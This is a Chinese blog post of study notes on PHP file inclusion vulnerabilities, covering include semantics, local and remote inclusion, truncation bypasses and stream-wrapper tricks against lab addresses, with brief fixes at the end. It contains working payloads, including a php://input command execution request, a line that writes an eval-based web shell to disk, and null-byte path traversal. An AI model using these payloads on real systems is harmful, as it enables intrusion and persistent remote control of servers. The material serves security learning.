文件包含

文件包含

当我们在遇到文件上传并且有白名单校验的时候,利用文件包含可以getshell(brupsuit)上传文件,该文 件后缀名(php),插入一句话木马,用菜刀连接

原理

程序员通常会把可重复使用函数或语句写到单个文件中,在使用某个功能时,直接调用此文件,不用再编写调用文件的过程称为包含。

PHP 中的⽂件包含语句 PHP 提供了四个⽂件包含的语句,四个语句之间略有不同:

include()多次包含,如果包含失败,脚本产⽣警告,继续运⾏。

include_once()⼀次包含,如果包含失败,脚本产⽣警告,继续运⾏。

require()多次包含,如果包含失败,脚本产⽣错误,结束执⾏。

require_once()⼀次包含,如果包含失败,脚本产⽣错误,结束执⾏。

 

⽂件包含是PHP 的基本功能之⼀,有本地⽂件包含与远程⽂件包含之分。

 

#文件包含各个脚本代码

ASP, PHP,JSP,ASPX等

<!--#include file="1.asp" -->

<!--#include file="top.aspx" -->

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<*@ include file="head.jsp"%>

<?php Include('test.php')?>

 

#漏洞识别检测

代码审计

漏扫工具

公开漏洞

手工看参数值及功能点

 

类型

本地包含

本地⽂件包含就是可以读取和打开本地⽂件,无限制可读取任意文件,有限制只能读取指定后缀文件.

有限制可绕过

00截断:条件: magic_quotes_gpc = Off php版本<5.3.4

filename=../../../www.txt%00

长度截断:条件:windows,点号需要长于256; linux 长于4096

1.txt/./././././././././././././././././././././././././././././././.

1.txt……………………………………………………………….

参考文件上传绕过思路

 

远程包含

远程⽂件包含就是可以远程(⽅式)加载⽂件。 可通过php的配置文件php.ini中的选项进行配置

条件: /php

allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件

allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件

有后缀限制可绕过

%23

%00

%20

?

 

利用

http

ftp

File

各种脚本支持协议

#各种协议流玩法

参考 https://www.cnblogs.com/endust/p/11804767.html

 

http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt

http://127.0.0.1:8080/include.php?filename=php://input (Post:) <?php system('ver')?>

<?PHP fputs (fopen('s.php', 'w'),'<?php

@eval ($_POST[cmd]) ?>');?>

http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt

http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo (); ?>

 

 

相应配置:

 

allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件

allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件

 

包含示例: 示例代码:

// fileInclusion.php

if(!empty($_GET['path'])){

include $_GET['path'];

}else{

echo "?path=./info.php"; }

12345

本地文件包含:

http://192.168.16.109/fileInclusion/fileInclusion.php?path=./info.php

远程⽂件包含

http://localhost/fileInclusion/fileInclusion.php?

path=http://192.168.16.109/phpinfo.php

 

优点:

PHP ⽂件包含是程序设计的基础功能之⼀,能够减少代码量,提⾼开发效率。

缺点

会产生文件包含漏洞 漏洞原理:文件包含配置(php.ini)、动态调用、客户端可控。

特点:

⽆视⽂件扩展名读取⽂件。

直接读取图⽚的源代码

http://192.168.48.139/fileInclusion/fileInclusion.php?

 

修复

固定后缀

固定文件

WAF产品

 

posted @   小吕不忧伤  阅读(232)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!
点击右上角即可分享
微信分享提示